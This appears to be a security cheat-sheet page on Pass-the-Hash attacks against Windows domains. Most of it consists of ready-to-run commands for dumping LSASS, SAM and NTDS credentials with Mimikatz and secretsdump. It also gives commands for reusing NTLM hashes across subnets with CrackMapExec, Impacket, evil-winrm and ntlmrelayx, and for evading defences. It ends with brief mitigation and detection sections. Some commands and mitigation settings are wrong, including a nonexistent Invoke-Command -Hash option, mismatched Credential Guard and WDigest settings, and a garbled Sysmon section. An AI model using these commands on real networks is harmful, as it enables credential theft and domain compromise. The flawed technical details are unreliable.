Critical Severity | T1550.002
🔐 Pass-the-Hash (PtH)
🧠 Description
Pass-the-Hash (PtH) is a credential theft and lateral movement technique that allows an attacker to authenticate to a remote server using the NTLM hash of a user's password instead of the actual password. This works because Windows authentication protocols accept the hash directly.
Why PtH Works:
- Hash Reuse: Windows caches and reuses password hashes for authentication
- No LM Hash Conversion: Older protocols allow direct hash authentication
- Credential Manager: Stores hashes in memory for single sign-on
- LSA Access: Allows extraction of cached credentials
- Protocol Design: NTLM doesn't salt or derive keys from password
Attack Flow:
- Obtain NTLM hash (via lsass dump, SAM extraction, etc.)
- Use hash to authenticate to remote system via SMB, WMI, RDP, etc.
- Remote system validates hash against stored hash in NTDS.dit or SAM
- Gain code execution as that user on target system
🔍 Hash Extraction
From LSASS Process:
# Mimikatz - classic lsass dump mimikatz.exe privilege::debug sekurlsa::logonpasswords sekurlsa::pth /user:username /domain:domain.com /ntlm:ntlmhash # Using procdump (for credentials only) procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" # Using lsass protection bypass mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit"
From SAM Database:
# Local SAM extraction mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit" # From registry reg save HKLM\SAM sam.hive reg save HKLM\SYSTEM system.hive # Then offline extraction with secretsdump.py # Using volality (memory dump analysis) volatility -f memory.dmp --profile=Win10x64 hashdump
From NTDS.dit (Domain Controllers):
# Using Impacket python3 secretsdump.py domain.com/username:password@dc01.domain.com # Using CrackMapExec crackmapexec smb 10.10.10.100 -u username -H ntlmhash --local-auth # Extract with ntdsutil ntdsutil "activate instance ntds" "ifm" "create full C:\ntds" quit quit # Then parse with secretsdump offline
From Cached Credentials:
# WDigest credentials (if enabled) mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit" # Cached domain credentials mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit" # Kerberos TGT/TGS tickets mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"
💣 Pass-the-Hash Execution
Mimikatz Pass-the-Hash:
# Direct PtH with Mimikatz mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:corp.com /ntlm:aad3b435b51404eeaad3b435b51404ee:hash" "exit" # This creates a new process with the stolen identity # You can then use dir \\target\c$ or other SMB operations
Impacket (Linux):
# psexec style python3 psexec.py -hashes ntlmhash domain.com/username@target.corp.com # WMI execution python3 wmiexec.py -hashes ntlmhash domain.com/username@target.corp.com # SMB exec python3 smbexec.py -hashes ntlmhash domain.com/username@target.corp.com # Over Pass-the-Hash (convert to ticket) python3 goldenPac.py domain.com/username@target.corp.com
CrackMapExec:
# Execute commands via SMB crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash -x "whoami" # Execute with command output crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash -X "ipconfig" # Login with hash crackmapexec smb 10.10.10.100 -u administrator -H ntlmhash --local-auth # Using password spray results crackmapexec smb 10.10.10.0/24 -u admin -H ntlmhash -M mimikatz
PowerShell Remoting:
# Using Mimikatz generated ticket
$hash = "aad3b435b51404eeaad3b435b51404ee:hash"
Invoke-Command -ComputerName target -Hash $hash -ScriptBlock { whoami }
# Using PSRemoting with hash
$creds = New-Object System.Management.Automation.PSCredential("domain\user", (ConvertTo-SecureString $hash -AsPlainText -Force))
Invoke-Command -ComputerName target -Credential $creds -ScriptBlock { hostname }
# Evil-WinRM
evil-winrm -i target.corp.com -u username -H ntlmhash
RDP with Hash:
# Using xfreerdp xfreerdp /u:username /d:domain.com /pth:ntlmhash /v:target.corp.com # Using Mimikatz mimikatz "privilege::debug" "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:mstsc.exe" "exit"
🛠️ Automated PtH Tools
CrackMapExec Network Wide:
# Scan entire subnet with hash crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash -x "whoami" # Find which hosts admin has access to crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash --local-auth # Modules for credential harvesting crackmapexec smb 10.10.10.100 -u admin -H hash -M mimikatz crackmapexec smb 10.10.10.100 -u admin -H hash -M lsassy # Empire agent on all valid hosts crackmapexec smb 10.10.10.0/24 -u administrator -H hash -e "powershell -enc ..."
Responder + NTLM Relay:
# Start responder responder.py -I eth0 -w # Run ntlmrelayx python3 ntlmrelayx.py -tf targets.txt -smb2support # Or relay to specific target python3 ntlmrelayx.py -t 10.10.10.100 -smb2support # Escalate with captured hashes python3 ntlmrelayx.py -t dc01.domain.com -smb2support -c "whoami"
Invoke-TheHash:
# WMI and SMB hash reuse Import-Module .\Invoke-TheHash.ps1 Invoke-SMBExec -Target 10.10.10.100 -Username admin -Domain corp -Hash ntlmhash -Command "cmd /c calc" Invoke-WMIExec -Target 10.10.10.100 -Username admin -Domain corp -Hash ntlmhash -Command "cmd /c calc"
🛡️ PtH Defense Evasion
Token Manipulation:
# Using existing tokens mimikatz "privilege::debug" "token::whoami" "token::list" "token::elevate" "token::revert" "exit" # Run as different user runas /user:domain\user /netonly cmd.exe # Create new token from hash mimikatz "sekurlsa::pth /user:admin /domain:domain /ntlm:hash" "token::whoami"
Over Pass-the-Hash (Opth):
# Get TGT from hash, then access service mimikatz "privilege::debug" "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:cmd.exe" # Inside new cmd, request TGS klist # Then access resources with Kerberos
💥 Impact
Potential Damage:
- Full Domain Compromise: Once you have admin hash, domain is compromised
- Pass-the-Hash to Pass-the-Ticket: Convert to Kerberos ticket
- Persistence: Create golden ticket from krbtgt hash
- Data Exfiltration: Access file servers, databases
- Deploy Ransomware: Lateral movement to deploy payload
🛡️ Mitigation
✅ Primary Controls:
- Enable Protected Process Light: Prevent lsass dump
- Disable WDigest: Registry key to disable plaintext storage
- Restrict NTLM: Disable on domain controllers
- Enable Credential Guard: Hardware-based protection
- Network Segmentation: Limit lateral movement paths
- Rapid Response: Detect and contain compromised accounts
Enable Credential Guard:
# Via Group Policy Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security # Registry method Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictRemoteClients" -Value 1
Disable WDigest:
# Disable plaintext password storage Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0 # Or via Group Policy Computer Configuration > Administrative Templates > MS Security Guide > Configure encryption oracle remediation
🔍 Detection
Windows Event Logs:
# Event ID 4624 - Logon (type 3 = network logon, used by PtH)
# Look for:
# Logon Type: 3
# Source Network Address: internal
# Account Name: different from Original
# Query for suspicious logons
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
Where-Object { $_.Message -match 'Logon Type:\s+3' -and $_.Message -notmatch '127.0.0.1' }
SIGMA Rules:
# Detect suspicious credential use
title: Pass-the-Hash Attempt
id: pth-detection
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
IpAddress:
- '10.*'
- '192.168.*'
filter:
TargetUserName: 'ANONYMOUS'
condition: selection and not filter
level: high
Sysmon Configuration:
# Sysmon Event ID 1 - Process Create # Look for: # - mimikatz.exe # - procdump.exe accessing lsass # - Rundll32 with suspicious parameters # Sysmon config for credential monitoringlsass.exe